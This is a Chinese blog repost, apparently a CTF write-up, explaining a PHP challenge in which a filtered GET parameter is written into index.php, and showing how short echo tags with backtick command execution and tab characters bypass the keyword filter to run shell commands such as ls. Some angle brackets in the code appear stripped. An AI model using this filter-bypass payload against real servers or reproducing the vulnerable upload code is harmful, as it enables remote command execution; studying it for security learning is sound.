首页后端开发其他后端知识php反引号和短标签如何使用呢?

php反引号和短标签如何使用呢?

时间2024-03-25 15:46:03发布访客分类其他后端知识浏览743
导读:这篇文章主要给大家介绍“php反引号和短标签如何使用呢?”的相关知识,下文通过实际案例向大家展示操作过程,内容简单清晰,易于学习,有这方面学习需要的朋友可以参考,希望这篇“php反引号和短标签如何使用呢?”文章能对大家有所帮助。...
这篇文章主要给大家介绍“php反引号和短标签如何使用呢?”的相关知识,下文通过实际案例向大家展示操作过程,内容简单清晰,易于学习,有这方面学习需要的朋友可以参考,希望这篇“php反引号和短标签如何使用呢?”文章能对大家有所帮助。

 


?php
error_reporting(0);
    
highlight_file(__FILE__);

function check($input){
    
    if(preg_match("/'| |_|php|;
|~|\\^|\\+|eval|{
|}
/i",$input)){

        // if(preg_match("/'| |_|=|php/",$input)){
    
        die('hacker!!!');

    }
else{
    
        return $input;

    }

}

function waf($input){

  if(is_array($input)){
    
      foreach($input as $key=>
$output){
    
          $input[$key] = waf($output);

      }

  }
else{
    
      $input = check($input);

  }

}
    
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    
    mkdir($dir);

}

switch($_GET["action"] ?? "") {
    
    case 'pwd':
        echo $dir;
    
        break;
    
    case 'upload':
        $data = $_GET["data"] ?? "";
    
        waf($data);
    
        file_put_contents("$dir" . "index.php", $data);

}
    
?>
    

代码审查,参数action控制两个模式,当action=upload的时候会将参数data的值进行过滤并且作为file_put_contents的第三个参数,可以试试输入123的时候是个什么效果,我查资料发现这个函数的第三个参数具体用法是啥我也不知道

当action=pwd的时候,他会输出目录给我们。

一开始两个问号是个啥我也不晓得,查了一下

??是php7新推出来的表达式,有利于简便三元运算符

例:
$example=$_GET['web']??0;
相当于
$example=$_GET['web']?$_GET['web']:0;

意思就是如果web参数如果存在则返回本身,否则返回0

function check($input){
    
    if(preg_match("/'| |_|php|;
|~|\\^|\\+|eval|{
|}
/i",$input)){

        // if(preg_match("/'| |_|=|php/",$input)){
    
        die('hacker!!!');

    }
else{
    
        return $input;

    }

}

function waf($input){

  if(is_array($input)){
    
      foreach($input as $key=>
$output){
    
          $input[$key] = waf($output);

      }

  }
else{
    
      $input = check($input);

  }

}
    

可以发现这是对data参数的过滤防护,过滤了php,eval,花括号等,其实这些过滤内容有点提示我们要用php标签,但是php,eval,空格这些都被过滤掉了,这时候就有新东西学习了

反引号执行系统命令,以及php短标签

PHP: 执行运算符 - Manual就像如果我们要执行ls命令,通常我们都是system('ls'); 但是有了反引号,我们直接`ls`即可执行,是不是方便多了,但是要开一个默认选项(默认都是打开的),并且不能在双引号字符中使用

php中的短标签https://www.jb51.net/article/112327.htm

?$a?>
    相当于?php?>
    
?=$a?>
    相当于?php echo $a?>
    还省略了eval需要的分号

因此我们思路就是,当切换在upload模式的时候,我们可以控制data参数传入php表达式看看效果,然后切换到pwd模式获取路径进入到下面去看看

成功回显1234,有点渲染那味了

构造action=upload& data=?=`ls`?> ,因为空格被过滤了,我们可以利用水平制符\t来代替空格

继续执行命令即可


以上就是关于php反引号和短标签如何使用呢?的介绍啦,需要的朋友可以参考上述内容,希望对大家有帮助,想要了解更多,欢迎关注网络,小编将为大家输出更多高质量的实用文章!

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: php反引号和短标签如何使用呢?
本文地址: https://pptw.com/jishu/652878.html
PHP中session反序列化漏洞产生是什么原因 用redis实现文章的热度和点赞排行的怎样做呢

游客 回复需填写必要信息